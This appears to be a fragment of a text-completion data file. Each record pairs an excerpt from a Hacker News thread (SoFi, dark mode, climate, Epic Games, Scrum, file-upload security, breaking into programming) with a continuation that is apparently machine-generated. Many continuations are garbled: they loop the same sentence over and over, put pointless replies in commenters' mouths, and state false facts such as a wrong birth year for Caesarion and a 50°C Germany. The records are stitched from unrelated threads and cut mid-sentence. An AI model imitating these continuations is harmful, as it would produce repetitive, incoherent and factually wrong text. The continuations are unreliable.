Netflix catalog.\n\n \nChief Executive of Social Finance to Step Down - coloneltcb\nhttps://mobile.nytimes.com/2017/09/11/technology/sofi-mike-cagney-sexual-harassment.html?_r=1&referer=\n======\nthrowaway6497\nInteresting that branding is not important/creatively skirted when negative\nnews is involved. Doesn't come as a surprise. Wondering, if this is\nintentional. Difficult to imagine that the company is spoon feeding an NY\ntimes reporter the headlines. Always saw SoFi everywhere in ads and branding.\nSocial Finance on Google doesn't rank SoFi in the top two organic search\nresults. Wonder why the headline is Social Finance instead of SoFi though\nthere is mention of SoFi in the article.\n\n~~~\nCPLX\nMaybe they put that in the headline because that's the name of the company.\nDoesn't seem particularly confusing to me.\n\n~~~\ngreglindahl\nThe NYT frequently uses full company names, for example they used to refer to\nSpaceX as \"Space Exploration Technologies\", and they still put periods in\nplaces where other journalists won't (I.B.M.).\n\nI wouldn't read anything into it other than the NYT marches to the beat of a\ndifferent drummer.\n\n------\ndjchung23\nYikes. Culture starts from the"} +{"output_text": " are stored in a JSON file, and\napplied to the page using CSS variables.\n\n[1] [https://cryptowat.ch/custom-color-schemes](https://cryptowat.ch/custom-\ncolor-schemes)\n\n~~~\nnoisem4ker\nI'm not sure I understand. How does this work?\n\n~~~\nartursapek\nIt's a bit of a long story, but basically we have a JSON", "input_text": " epic quest.\n\n~~~\nsaagarjha\nThe problem is that the question of whether dark mode CSS should be applied is\nonly known once JavaScript can be executed on the page.\n\n~~~\ndarepublic\nThat's the thing with SSR... (i.e. with Next) or with pre-rendering apps\nbefore hand. In the initial GET request to the page, you also send a cookie\nwith user preference. Depending on their dark mode preference you can style\nthe page to be in dark mode as part of the server or pre-rendered markup -- no\nJS required :o. Now.. how difficult that is to do with Gatsby I don't know.\nBut the fact that someone shot themselves in the foot with Gatsby, then\nlearned to hobble along on one foot isn't a cause for celebration imo.\n\n~~~\nsaagarjha\nI don't see how you could do that with a static site.\n\n------\nswlkr\nWow this website is really creative.\n\nNot sure about the dark mode implementation, since it rendered a white screen\nfor me with no content on iOS, but on desktop it worked.\n\nAlso the general feel of the website is really nice, a lot of nice little\ntouches from the sounds to the \"nonstop confetti party\" when you sign up for\nthe newsletter.\n\n~~~\nnoisem4ker\nI'd rather stick with static web pages, thanks.\n\n------\nartursapek\nWe have had color schemes on Cryptowatch\n([https://cryptowat.ch](https://cryptowat.ch)) for years, and since a year ago\nwe even let users create custom color schemes within the web app [1]\n\nWe use CSS variables for this. The styles"} +{"output_text": " on the equator), and I'm not sure if it's\nbecause of the heat or because of the humidity, but I'm finding it really\ndifficult to sleep. I'm not sure if it's because of the heat or because of the\nhumidity, but I'm finding it really difficult to sleep.\n\n~~~\njlg23\nI'm in Germany (~50\u00b0C) and I'm finding it really difficult to sleep.\n\n~~~\nvisakanv\n", "input_text": ", it is apparent that there\ndefinitely is a fair bit of natural temperature variability. But the recent\ntemperature rise in the last 50 years certainly seem like aberration, in terms\nof rate of change.\n\n------\nnikolay\nEvery month and year will be the warmest. You don't need an extraordinary\nintelligence to see where we'll be 10-15 years from now if we don't do\nsomething drastic about it! But I doubt there's much we can do at this stage -\nit's too late! Just imagine the migration flows of humans and animals from the\nsoon uninhabitable areas like Africa and the Middle East toward the poles. You\ncan foresee pandemics, civil wars, or even a world war. There are already a\nfew tropical diseases that came to Europe like the Bluetongue disease, the\nWest Nile Virus, and others - and this is just the beginning. Our livestock is\nnot prepared, imagine the costs. With this in mind, I think Siberia, Canada,\nand Alaska are going to be the best locations for my near-future residence...\n\n~~~\nedgyswingset\nI think that's quite the over-exaggeration. While I agree with you in\nprinciple, it's a far more nuanced problem.\n\nBut I will say this: we will have a crisis on our hands in places like\nBangladesh. Investing in ways to remedy this will benefit us all.\n\n~~~\nnikolay\nNot an exaggeration, unfortunately - this is what even some NATO officials\nhave been discussing. That's why the migrant crisis is so important - it's a\ntest and it also shows how unprepared the EU for something like this is!\n\n------\nvisakanv\nI'm in Singapore (we're right"} +{"output_text": " I\nhad. I'm glad you're here to help others.\n\n------\njoshu\nI'm a white guy, and I've been in your shoes.\n\nI'm not going to tell you what to do, but I will tell you what I did.\n\nI got a job.\n\nI got a job that paid well.\n\nI got a job that was interesting.\n\nI got a job that was challenging.\n\nI got a", "input_text": " is up to you poveritysucks.\n\n------\ncarcamper\nI lived in my car for 8 months this year. When I didn't have a job I was at\nthe public library everyday reading about and writing code. I applied for\nevery job I could anywhere in the country. Eventually it paid off and I got a\njob.\n\nPlaying the race card on why life is hard is a cop out. You have to put effort\ninto this. You cannot huff and puff your way into it.\n\nThis site is filled with people posting blogs and sites that contain free\ntutorials.\n\n~~~\ngonyea\n\"Playing the race card on why life is hard is a cop out.\"\n\nWhat a shitty, thoughtless thing to say. Life is significantly harder for\nafrican americans. That's a fact; dismissing experiences is an ignorant thing\nto do.\n\nI'm pretty sure he knows he needs to keep on trucking in spite of that, or he\nwouldn't be posting here. But being african american has and will cost him\nseveral \"well, let's give this kid a chance\" foot-in-the-doors that white guys\nexperience pretty frequently (like me).\n\n------\nsaluki\nYou can learn everything you need to know for free, at least to get started.\n\nThe only barrier to entry is having internet access and a computer and some\nspare time in the evening and on weekends.\n\nEmail me and I'll point you in the right direction to get started. HN username\n@ gmail.\n\n------\nelcritch\nBest of luck mate! I was a McNair scholar in college, even though I am\ncaucasian I still faced my share of challenges and lack of what privelage"} +{"output_text": " Greek\nphilosophers, and was a great patron of the arts.\n\nShe was also a great lover of Julius Caesar, and had a child with him. Caesarion\nwas born in 58 BC, and was Caesar\u2019s only son. He was raised by Cleopatra, and\nwas the only one of Caesar\u2019s children to survive to adulthood. He was\nconsidered a great heir to the Ptolemy throne, and was the only one of Caesar\u2019s\n", "input_text": " you prevent theft if you leave\nit strapped to the tree when you walk away to use the bathroom?\n\n~~~\nboris1\nThis is not a problem if you cowork with someone. But it's not the case for\nme, so planning ahead about the bathroom is the most critical deciding factor\nfor where I'm going to work.\n\nI try to find a spot that either has a real toilet close by, or a place with a\nforesty area where I could pee in the bushes. A bonus is if I can keep line-\nof-sight on my Tree Table. In any case, I leave the tree table attached. No\none is going to bother to steal it, it looks too unusual, weird, intimidating.\n\nI could also ask someone else in the park who looks normal to watch my stuff,\nbut I have never found the situation to be critical enough to make such a\nrequest.\n\n \nTacitus\u2019 Perfect Man - diodorus\nhttp://www.historytoday.com/emma-southon/tacitus\u2019-perfect-man\n======\nvaluearb\nThis dragged me into quite a wonderful wikipedia sinkhole, which led me to\n\n[https://en.wikipedia.org/wiki/Caesarion](https://en.wikipedia.org/wiki/Caesarion)\n\nEveryone knows how amazing his father, Julius Caesar, was. But popular culture\nonly remembers on the legendary beauty of his mother. Cleopatra was almost\ncertainly a genius. She could speak 10 languages, and was the first Ptolemy\nruler to speak Egyptian (she was actually Greek/Macedonian, the Ptolemy\ndescended directly from Alexanders greatest general). She was educated in\nmath, philosophy and astronomy, introduced Julius Caesar to the"} +{"output_text": ", and Plasma for\nthe shell.\n\nIt is still in early stages, but I am very excited about it.\n\n------\nmatt_morgan\nI'm not sure if this is the right place to ask, but I'm curious:\n\nIs there a way to get a list of all the apps that are installed on a phone?\n\n~~~\njbk\nYes, you can use the command line tool \"pm\" to get a list of all the", "input_text": " limit to how much of the same subject\nI can take in per day. I do much better if I take actual breaks, make sure I\nsleep, and then do stuff again the next day. I will take entire days or\nweekends off and occasionally take an actual vacation from whatever subject\nI'm learning. I think this is why I'm likely to remember what I read on the\ntoilet: I read a bit, take a break and think about it, and then read a bit\nlater on.\n\n------\nphakding\nWhen I want to make sure my kids understand what they read, I stop after a\npage and ask couple of questions. Questions that can't be answered directly by\nreading the text, but by understanding. You can try this in yourself.\n\nFor retention, the more times you recall the same information, the more it is\ningrained in your brain. Recalling literally builds neural pathways.\n\n[http://www.human-memory.net/processes_recall.html](http://www.human-\nmemory.net/processes_recall.html)\n\n------\ntixocloud\nI found sleeping and focusing in the moment to help with retention. To aide my\nfocus, I spend time chanting to clear my mind.\n\n------\ncorporateslaver\nYou probably can\u2019t. Best you can do is eat really well, exercise, and\nmeditate.\n\n------\nsaamm\nFor retention, I find making cards in Anki to be helpful.\n\n \nPlasma Mobile - jbk\nhttp://plasma-mobile.org/\n======\njbk\nSo, there is not much information on the website yet, but this is basically a\nfull stack for mobiles, based on Wayland and Kwin for the UI"} +{"output_text": " but\nstorage is a different story.\n\n~~~\ngridlockd\n> Without going back and digging for sources (google it yourself), existing\n> nuclear costs about $100/Mwh.\n\nI'm not sure what you're trying to say here.\n\n> Coal is around there, too (this is round number, different sources have\n> slight variations).\n\nI'm not sure what you're trying to say here.\n\n> Onshore wind and natural", "input_text": " a bunch of handwaving\nabout how it's totally impossible, which strikes me as simplistic BS.\n\n~~~\ngridlockd\n> I'm not seeing anyone state any numbers, though.\n\nYou aren't stating any numbers either, yet you seem very confident that it can\nwork out.\n\n> Just a bunch of handwaving about how it's totally impossible, which strikes\n> me as simplistic BS.\n\nSame to you, just a bunch of handwaving how it's totally possible, which I\nmight call \"simplistic BS\" as well.\n\nI could give some of the source material that my opinions are based on, but\nthen you will just complain about how the sources are biased or how the\ncalculations are too pessimistic, and so on. Been there, done that, it's a\nwaste of time. Therefore, I suggest you do your own research and believe what\nyou want to believe. I don't care if you change your mind.\n\n~~~\nbeat\nWithout going back and digging for sources (google it yourself), existing\nnuclear costs about $100/Mwh. Coal is around there, too (this is round number,\ndifferent sources have slight variations). Onshore wind and natural gas are\ncurrently pushing $40, and PV solar is under $60 and dropping rapidly.\n\nNumerous nuclear plants in the US (and MANY coal plants) are being shut down\nbefore end-of-life, due to losing key customers to cheaper alternatives. It\ncosts more to keep the plant running than to shut it down.\n\nWe have a couple of decades of data on wind consistency and variation, scaling\nfrom minutes to years - enough data to do very reliable projections on storage\nneeds. Solar has a consistent schedule, which also helps projection,"} +{"output_text": " you want to be in Bangalore?\n\n~~~\navinashv\nI'm not sure what you mean by \"10pc equity for 5 Lakhs\". I'm not looking for\n10% equity, I'm looking for a loan.\n\n~~~\nchaosprophet\nI'm not sure what you mean by \"loan\".\n\n~~~\navinashv\nI'm looking for a loan to start a company in Bangalore.\n\n~~~\nchaosprophet", "input_text": " very much interested. Sadly their application deadline\nwas September 12. :(\n\nApprox burn per person in Bangalore: Initial: Relocating+ house deposit+\nregistration+ CA + desktop + table + chair + net connection setup + office\nstationary: About 1L. Monthly: Rent + utilities + food + net + cheap vps:\n12-15k, Phone + travel: 5k. Extra: 15k.\n\nSo, we are looking at about 60k monthly and 1.5-2L initial burn for 2 non-\nBangaloreans to go and do a start up there.\n\n~~~\navinashv\nI think that is painfully high. What is the \"extra\" 15K? What kind of phone do\nyou use that costs you 5K, travel included? My very expensive phone plan costs\nme less than 1000/mo because 75% of my calls are made roaming. I spend over 5K\na month traveling, yes, but my commute is 55km each way. If I worked in the\ncity, say, 15km from where I lived (which is high), phone+travel would be\nunder 1500mo.\n\nDisclaimer: I live in Mumbai.\n\n~~~\nkniwor\nErr yes... I too am in Mumbai. My phone bill comes to 1000/mo and traveling to\nabout 2k but you got to budget for the occasional flight to meet potential\ninvestors or for a family emergency back home. So I think a net 5k a month\naverage is reasonable. One could certainly get rid of the 15k a month but that\nwould probably amount to getting rid of insurance and the national savings\nscheme and stuff like that. That's probably a personal call though...\n\n------\nchaosprophet\nYou want 10pc equity for 5 Lakhs and"} +{"output_text": " be killed.\n\nBut the memo doesn't mention the fact that the US has been killing US citizens\nfor years.\n\n~~~\ntptacek\nThe memo doesn't mention the fact that the US has been killing US citizens for\nyears.\n\n~~~\nsuperkuh\nIt does. It just doesn't mention it in the context of the 'targeted killing'\nprogram.\n\n------\njoshuaheard\nI'm not sure I understand the memo.", "input_text": " how heinous the opposition.\n\n~~~\ntptacek\nThe \"military aged males\" killed by drones aren't US citizens. This memo does\nnot suggest that the US can kill any military aged male regardless of\nnationality.\n\nAnd no, it would not be plausible to say that Wikileaks could be described as\n\"associated with al Qaeda\". You could have used the same reasoning in the\n1930s and 1940s to suggest that the US could have killed Charles Coughlin;\nafter all, he was on the radio advocating for Mussolini and Hitler!\n\n~~~\nolefoo\nIn the particular case I referenced, he was, Abdulrahman al-Alauqi was born in\nDenver and was aged 16 when he was killed.\n\nCoughlin could have faced the death penalty for sedition; but he was silenced\nby his bishop before that was necessary. And the logic in this document is\nperniciously close to that used to incarcerate thousands of US citizens of\nJapanese descent after Pearl Harbor.\n\nThis is why we should not vest the executive with untrammeled ability to kill\non their own authority, but should restrain them to a procedure that asks them\nto justify the exigency to a judge at the very least.\n\n------\nahmadss\nHere's a response from the ACLU - [http://www.aclu.org/blog/national-\nsecurity/justice-departmen...](http://www.aclu.org/blog/national-\nsecurity/justice-departments-white-paper-targeted-killing)\n\n------\nsuperkuh\nThis memo spends the entire time talking about the 'evil' al-qa'ida and how\neven if a US citizen joins them then legally they should get to"} +{"output_text": "://github.com/sindresorhus/shebang-regex) ).\n\n~~~\nhk__2\n> Well, for most libraries used in Desktop Linux, a significant number of\n> stakeholders (developers+users) exist, which actually care for development\n> and the complete thing itself.\n\nI\u2019m not sure what you mean by \u201cthe complete thing itself\u201d.\n\n> Also the libraries generally are designed for solving problems and not\n> getting github", "input_text": " allows\nyou to package files. What you put in it is up to you.\n\n~~~\nfilleduchaos\nLibraries off Github literally have the source available for you and the\ncommunity at large to vet. And you'll find almost no sane shop on the planet\nwhere people are allowed, hell _encouraged_ to use shady distros or install\nrandom utility tools in production the way they are encouraged to pull\nunchecked binary blobs from Docker Hub in an often non-reproducible manner.\n\n~~~\nhk__2\n> Libraries off Github literally have the source available for you and the\n> community at large to vet.\n\nNobody read the source code for this exact reason: \u201cthe community is here to\nread it so I won\u2019t\".\n\n~~~\nfock\nWell, for most libraries used in Desktop Linux, a significant number of\nstakeholders (developers+users) exist, which actually care for development and\nthe complete thing itself. Also the libraries generally are designed for\nsolving problems and not getting github-stars by bots/dependency-building.\n\nFor docker (and npm for all that matters) _a lot_ of important dependencies\nare basically simple one-off \"developments\" with a single developer and no\nuserbase at all caring for them, because they don't really solve any\nconsistent problem, being basically just created to increase the visibility of\nits creator on primitive metrics. The community is there for high-level\npackages, but the dependencies lurk in test-scripts and seldom-used functions\ncarefully placed by some idiotic digital nomads for their personal CV-\npolishment (ehm, not looking at you: [https://github.com/sindresorhus/shebang-\nregex](https"} +{"output_text": " a fan of the netbook form\nfactor, but I'm not sure if I'll ever buy one again.\n\n~~~\njrockway\nI have a netbook, and I love it. I use it for everything. I don't even have a\ndesktop anymore.\n\nI think the problem is that people are using netbooks for things that they\nwouldn't use a desktop for. I don't use a desktop for anything. I use a\nnetbook for", "input_text": "), the netbook is the\nperfect computer. It's light enough to be taken anywhere and powerful enough\nto fulfill the daily tasks for the casual user. For her, a touch typist, the\nkeyboard is infinitely more useful than a touch screen on a tablet. With a\nextra 1GB of DRAM, Windows 7 runs well enough that she can use it for almost\nall her personal needs sans the very few rare tasks, (encoding media or\ndatabase reporting), that may require the horsepower of my home workstation.\n\nWith the new hardware in the pipeline, I believe there is still a long life in\nthe netbook model to create a very portable computer with a real keyboard that\npeople will find useful and compelling. I'll probably wouldn't be using it as\nthe main development system, but I don't see a problem having a high battery\nlife, Linux/Windows machine that's easy to lug around. For the creator in me,\ntablets don't cut it.\n\n------\ncycojesus\nIt's dying (is it?) because it's slow and not-so-useable.\n\nOk, I just say that because a netbook (Gigabyte Q1000C, 2g of RAM, Atom N470)\nhas been my main personal computing platform for some months now, but boy is\nit painful! The thing even fails to finish moderately heavy compilation tasks\n(eg. qemu or gcc). Oh, and it's made of subpar components too, the touchpad\ndoesn't handle even vertical scrolling! There's like 2 non-visible areas\ntappable/touchable to go up and down... And the keyboard randomly decides that\nit like the key I last pressed and keeps pressing it for me...\n\nThat rant passed it must be said that's I'm not"} +{"output_text": " using a GPIO pin to control the\nbacklight.\n\n~~~\nmjg59\nThe complexity of the interface is not the only thing that matters. The\ncomplexity of the implementation is also important.\n\nThe complexity of the implementation is also important.\n\nThe complexity of the implementation is also important.\n\nThe complexity of the implementation is also important.\n\nThe complexity of the implementation is also important.\n\nThe complexity of the implementation is also important.\n\n", "input_text": "\nPerhaps your Linux bias is showing little as you attempt to justify the\ncomplexity of the interfaces Linux provides.. care to go for a round on\nepoll(2), a botched attempt at copying kqueue(2)? Or how about getrandom(2), a\nLinux kitchen sink that sprung out of OpenBSD getentropy(2).\n\n~~~\nmjg59\nIf acpivideoout and thinkpad both attach then whichever attaches second will\nwin - you're right that i915 special cases this. The author of the article\ndescribes doing an ioctl() on the console, which is a different codepath to\nany brightness properties attached to the connector, so if the OpenBSD DRM\nimplementation is exposing the latter on chipsets other than i915 then you're\nstill going to have two different codepaths to get broader coverage (and it's\nstill broken on Apples)\n\nI'm not interested in defending Linux in general, I'm just pushing back\nagainst the idea that a low complexity implementation is inherently preferable\nto a more complex one. _All else being equal_ that's true, but if the\nadditional complexity is associated with additional useful functionality then\nit's really up to the person making that claim to demonstrate that a less\ncomplex implementation could provide the same functionality or to make it\nclear that they're ok with not satisfying the use cases that require that\nfunctionality.\n\n~~~\nhedora\nThe article is arguing for a low complexity _API_. The complexity of an\ninterface is only loosely coupled to the complexity of the implementation.\n\nThe article even hints at a better solution than what Linux or OpenBSD do: Add\nbacklight control in a away that provides 1:1 (or 1:0) mapping between display\ndevices and backlights by, for example,"} +{"output_text": "/College is expensive_. Hack: Figure out what they teach\nyou, and find other, cheaper sources of the same information. (edit: Check out\nZed Shaw's stuff\n[http://learnrubythehardway.org/book/](http://learnrubythehardway.org/book/)\n[http://learnpythonthehardway.org/book/](http://learnpythonthehardway.org/book/))\n\n~~~\npoveritysucks\n", "input_text": " the world. There is no way for you to go to Free and\nnegotiate with them for access to Orange's customer base. It doesn't do you a\nlick of good to get twice as much bandwidth to Free's customers if your\nproblem is not enough bandwidth to Orange's customers. You have to negotiate\ndirectly or indirectly with Orange, who can hold up all comers.\n\n \nAsk HN: The Struggles of Poverty and Trying to become a programmer from 0 - poveritysucks\nI'm an African-American male based in Seattle. Code fellows is only a bus ride away from me but can't afford it. College is expensive. CodeFellows is expensive. Can barely live off Mim wage warehouse job.

Trying to jump-start your career and get into Web development as a low-income African male is a tough mission. Everyone else seems so privileged comparing to me. I want a career in Web development but see no hope right now. Financial barrier, even Udacity is charing now $200 per month per nano course! and I thought Udacity was the only way to make it into tech for someone like me until they got money hungry.

what is your advice?\n======\njt2190\nStart hacking.\n\n _CodeFellows /Udacity/College is expensive_. Hack: Figure out what they teach\nyou, and find other, cheaper sources of the same information. (edit: Check out\nZed Shaw's stuff\n[http://learnrubythehardway.org/book/](http://learnrubythehardway.org/book/)\n[http://learnpythonthehardway.org/book/](http://learnpythonthehardway.org/book/))\n\n _CodeFellows /Udacity"} +{"output_text": "agency.\n\nI think the former is a better model, but I'm not sure how to get the latter.\n\n------\njasonlbaptiste\nI think this is a great idea. I've been looking for a site like this for a\nwhile. I'm not sure if I'll use it, but I'm definitely going to bookmark it.\n\n------\njasonlbaptiste\nI'm not sure if I'll use it, but I'm definitely", "input_text": "3 and IE7's pop up blockers prevent access to search results. This is\ndefault browser behavior. How many people know or care about disabling pop up\nblocking for individual sites (or changing any defaults, for that matter)?\n\n------\nyef\nI had a frustrating experience with the site. Took me longer to get what I\nwanted than if I had gone to Kayak (the market leader) or Jetblue (that\nnormally runs my best fare).\n\nWhat, if I may ask, was the vision and rationale behind this approach?\n\n------\nprakash\nonce I selected all \"travel sites\" & all \"airlines\", i got a warning \"you are\nabout to open 20 tabs\" and I promptly closed the tab. I don't like the idea of\nopening that many tabs or the fact that I need to select individual airlines\nor sites. I rather get all the data in 1 page first and then filter by\nremoving airlines/ sites.\n\nI really like the cleartrip guys when it comes to travel/ticket booking. It's\nmostly India only but check out the UI & usability -- really nice.\n\n\n------\nkin\nSite works fine for me in Chrome.\n\nA lot of travel agencies have systems that actually can check all airlines for\ntheir flight information. I would suggest you look into that and run off of a\nhybrid between server and queries instead of waiting for an API and in the\nmeantime tell people something is easy when in fact it really isn't. Most of\nmy queries return errors on the pop-ups.\n\n------\nmcargian\nMost meta travel sites like this get their commissions one of two ways, either\na commission for booking a flight, or a click through commission to the travel\n"} +{"output_text": " I've seen art, it's been in a museum, and the context is pretty\nclear.\n\n~~~\ndpierce9\nI'm not sure I understand your point.\n\n~~~\ntyingq\nI'm not sure I understand your point either.\n\n------\njansho\nI'm not sure if this is a good idea, but I'm going to try it out.\n\nI'm going to try to visit the museum with a friend who is", "input_text": "front sheet so that you could just see that there was something drawn or\nwritten on the hidden layer.\n\nWell, in a room filled with people talking and laughing and climbing ladders\nand pushing helmets around, I went to peek behind the curtain and lifted up\nthe front layer to take a look at the one behind.\n\nA custodian ran at me and told me to step away. I still don't know if I\ndamaged it or participated in it.\n\n~~~\njansho\n> sometimes you just can't tell what in a museum you're supposed to touch and\n> what you're not supposed to touch.\n\nIn one pop sculpture exhibition, I stared so long at a coffee machine until an\nattendant came over and asked me if there was a problem with the refreshments.\n\n~~~\ntyingq\nAre there any documented studies where art experts were challenged to\ndifferentiate between:\n\n\\- abstract paintings by someone universally regarded as \"good\", and something\ndone by a very young child?\n\n\\- a piece of new, legitimate, modern art vs maybe a pile of random things\nfrom a junkyard\n\nI'm aware it might just be me that's confused, but I have a suspicion much of\nthe abstract and/or modern art world is void of value...that is, without lots\nof context about the artist and their intentions.\n\n~~~\ndpierce9\nWhy should context not matter for art (or anything else really)? Suppose you\ncome across a what appears to be a picture of Mozart in the sand on a beach.\nDoesn't it matter to your understanding of what you see if it was drawn by an\nartist, the happenstance by the motion of the waves, or a crawling turtle?\n\n~~~\ntyingq\nThe times"} +{"output_text": " want to die on Mars will be able to convince\ngovernments to invest more money into space travel.\n\n~~~\njlgreco\n> _Personally I believe the irrational excitement factor will be a strong one\n> and thus these people who basically want to die on Mars will be able to\n> convince governments to invest more money into space travel._\n\nI think this is a very dangerous assumption.\n\nI think the people who want to die on Mars are the people", "input_text": " to spacecraft.\n\nFor people with drive and know how there would be as much excitement as they\ndesire.\n\n~~~\nlovehashbrowns\nYup, it just depends on what mentality you take with you. If you sign up for\nthis with the mentality that you're going to have lots of fun and how amazing\nMars is going to be, obviously the disappointment is going to set it very\nquickly. But if you go there with the goal of building everything from the\nground up and knowing that it's going to be a very crappy place to live in for\nquite a while, then I think it would be hard to be disappointed. As you said,\nthere is a lot of work to do and each little project would just add to the\nexcitement of living there. At least for me it would.\n\n------\ncopx\nThey will certainly find people. However these people won't die of old age.\nRadiation alone will make sure of that.\n\nWhether this project has any point at all is a question of rational thinking\nvs. mass psychology. Scientists will tell you that it is pointless to send\nhumans to Mars. All research can be done with robots - cheaper and without\nendangering human life.\n\nHowever, a human colony on Mars might generate irrational public excitement\nwhich in return could lead to governments investing more money into space\ntravel and colonization again.\n\nI said irrational excitement because we know we can do it. NASA simply hasn't\ndone it because there is neither money nor a rational reason for it. If the US\ngovernment wanted to NASA could have a Mars colony up and running in no time.\nAs the article points out the technology already exists.\n\nPersonally I believe the irrational excitement factor will be a strong one and\nthus these people who basically"} +{"output_text": " this as my new wallpaper.\n\n------\njoejerryronnie\nI'm a big fan of the idea of removing the commitment from the sprint. I think\nit's a great idea.\n\nI think the problem is that the team is not used to working without a\ncommitment. They are used to working with a commitment.\n\nI think the team needs to be trained to work without a commitment.\n\n~~~\ncrdoconnor\n> I", "input_text": "\nrapala\nExactly. The point of time boxing is that you have to stop and reflect on the\ntime spent. It gives you the chance to switch tasks if priorities have changed\nor to split the current task.\n\nOr to go on to the next sprint with the same task. But here lies the problem\nin many cases. The sprint is taken not as a time box but as a deadline. A\nsprint should meen: \"You can work 2 weeks, 5 days a week, 8 hours a day on\nthis. Then you stop to think.\"\n\n------\ntaeric\nFunny to see this. I thought getting commitment was one of the soft mechanisms\nof scrum. An annoying one, because power dynamics are always at play. Still a\nmechanism, though.\n\nI think I'm supportive of the idea on removing it. Seems the goal is\nultimately to find ways in rhetoric and action to align the teams in working\nto the end goal. Which, often, might require tradeoffs to reach a timely\ndelivery. And timing is a requirement.\n\n~~~\ncrdoconnor\nIt probably made more sense to put it in in the beginning when the process was\nstill being sold to senior managers. Now that scrum is much more embedded,\ntaking out for the reasons given makes more sense.\n\n------\nbamboo_7\nYes yes yes. It never made sense to me that our ticket sizing was supposed to\nbe an estimate and yet the planning that used those estimates was considered a\ncommitment. Totally insane.\n\n~~~\nphilbarr\n[https://imgur.com/a/OnJKA](https://imgur.com/a/OnJKA)\n\n~~~\njoejerryronnie\nFantastic, I'm using"} +{"output_text": " OSes, etc.\n\n~~~\nbigtones\nI'm not sure what you're trying to say here.\n\nEpic did not design their own hardware, their own silicon, build entire OSes,\netc.\n\nThey outsourced all of that to Apple and Google.\n\n~~~\nDuctapemaster\nI'm saying that Epic did not design the game, they outsourced the design of\nthe game to Apple and Google.\n\n~~~\n", "input_text": " have strict permission prompts that gatekeep functionality.\n\nYeah, I\u2019m sure there would be some shitty experiences if people could install\nwhatever they want on their phones, it\u2019s the price of giving everyone that\nfreedom. But if desktop OSes in 2020 are anything to go by, it\u2019s really not\nthat big of an issue.\n\n~~~\nscarface74\nSo the whole ransomware and virus problem is imaginary?\n\n------\nbigtones\nThe real reason Epic Games did this... Money - they were forced to hand over\nmore than $500 Million dollars to Apple and Google in the past 12 months\nalone. That's $1.3 Million dollars per day.\n\nEpic gave Apple over $360 Million dollars in the last twelve months just to\nlist the game in it's app store, and over $150 Million to Google to do the\nsame. By any measure, having to hand over half a billion dollars is just an\ninsane cut of revenue to have to give two companies that had absolutely\nnothing to do with conceiving, designing or developing such a successful game.\n\n[https://www.nytimes.com/2020/08/13/technology/apple-\nfortnite...](https://www.nytimes.com/2020/08/13/technology/apple-fortnite-\nban.html)\n\n~~~\nDuctapemaster\n\"...absolutely nothing to do with conceiving, designing or developing such a\nsuccessful game.\"\n\nBut it has _everything_ to do with _distributing_ the game. Also it has a lot\nto do with outsourcing the maintenance of the mobile platforms \u2014 designing\nhardware, OS releases, etc. Epic did not design their own hardware, their own\nsilicon, build entire"} +{"output_text": "I'm not sure I'd call it a \"viral marketing campaign\" - it's just a story\nabout a brand that's been around for a long time, and has a loyal following.\n\n~~~\nmarshray\nI'm not sure I'd call it a \"viral marketing campaign\" either.\n\nBut it's a story about a brand that's been around for a long time, and has a\nloyal following.\n\n------\njrockway\nI'm", "input_text": " As it takes time for P&G\nto ship the Tide out, the store will have to rely on local-area suppliers of\nTide which in turn will have bought the Tide from Bob at a markup.\n\nAs long as Bob is not caught with the drugs on him, he'll not face any charges\n(for possessing marked cash for example) as a bottle of Tide is deniable.\nSimilarly, Alice will only face charges for shoplifting which carries a far\nmore lenient sentence compared with grand theft.\n\n~~~\nghshephard\nAs an additional twist, Alice sells the tubs of Tide to Carol (a Bodega\nOwner), and then uses the cash she gets from Carol to buy drugs from Bob.\n\n------\nspeedyrev\nA new take on Money Laundering? _rimshot_\n\n------\nmarze\nOf course it would come to this. People need to pay more attention.\n\n------\nmonochromatic\nWhat a strange article. Almost feels like an April Fools Day joke.\n\n~~~\nmuzz\nIndeed. I expected a revealing that Tide was used as an ingredient to make\ndrugs, like how baking soda is used to make crack. I didn't expect \"brand\nloyalty\" to be the TLDR.\n\n~~~\nmarshray\nYeah, this has all the signs of a viral marketing campaign to me.\n\nBut some folks with long-established accounts on here confirmed that they've\nseen evidence of the Tide underground economy in and around DC.\n\nI think the world would be a more interesting place if it turned out that\nProcter and Gamble had subcontracted some PR firm who trolled the shopkeepers,\npolice and crackheads alike.\n\n~~~\ncorin_\n"} +{"output_text": ". I've seen a lot of security issues in the past that were\nfixed by the author of the library, but never really fixed by the library\nauthor.\n\n~~~\njoshu\nI'm not blaming the author. I'm blaming the users.\n\n------\njoshu\nI'm not sure why this is getting downvoted. It's a good idea.\n\n~~~\njoshu\nI'm not sure why this is getting downvoted.", "input_text": " that published code is secure in all default configurations\n\n\\- Never allow all file types for upload by default, even if it is secure in\nyour configuration\n\n\\- Recommend users to not upload files in the same root as their executable\nweb application\n\n\\- Always follow security best practices, even if it makes setup for users\nmore difficult\n\nI wanted to make it really simple for users to install a generic and secure\nfile upload service with a great user interface. Unfortunately, security best\npractices and ease-of-use are often at odds to each other.\n\nBonus info:\n\nThe client-side component had a cross-site scripting vulnerability in the\nIframe Transport HTML site back in 2012: [https://github.com/blueimp/jQuery-\nFile-Upload/commit/4175032...](https://github.com/blueimp/jQuery-File-\nUpload/commit/41750323a464e848856dc4c5c940663498beb74a)\n\nThe App Engine components had an open redirect vulnerability back in 2015:\n[https://github.com/blueimp/jQuery-File-\nUpload/commit/f74d2a8...](https://github.com/blueimp/jQuery-File-\nUpload/commit/f74d2a8c3e3b1e8e336678d2899facd5bcdb589f)\n\n~~~\nwilleh\nI really don't blame the author here, sure there was an issue with the sample\ncode - but come on it was sample code. If someone is implementing user uploads\nthey should really do the due diligence and understand what the sample code\ndoes.\n\nTo be honest I'm not really that surprised that the vulnerability stayed\nhidden for so long"} +{"output_text": "~~~\nanon87123\nI'm not sure if you're being sarcastic or not.\n\nI'm not sure if you're being sarcastic or not.\n\n~~~\nflomo\nI'm not sure if you're being sarcastic or not.\n\n------\njoshu\nI'm not sure if this is a good idea.\n\nI'm not sure if this is a good idea.\n\nI'm not sure if this is a good idea.\n", "input_text": " with\nher father over the phone. He was pissed she wouldn't accept a $250,000\ndeposit into her US account from her uncle's account (his brother) in China.\nThe goal was to buy a house in the name of her cousin in LA.\n\n~~~\nflomo\nMajority are likely small-time landlords, local investors, and etc, as it is\nvery easy to set up an LLC. Also, I wonder if HNers describe their startups as\n\"anonymous shell companies\"?\n\n~~~\nanon87123\nHonestly property ownership being default-public seems like a weird\nanachronism. Why should anyone who has my address be able to tell if I own the\nproperty?\n\nI haven't looked into the exact details as I've never bought a house but from\nwhat I can gather I'd want to wrap it in an LLC.\n\nAlso 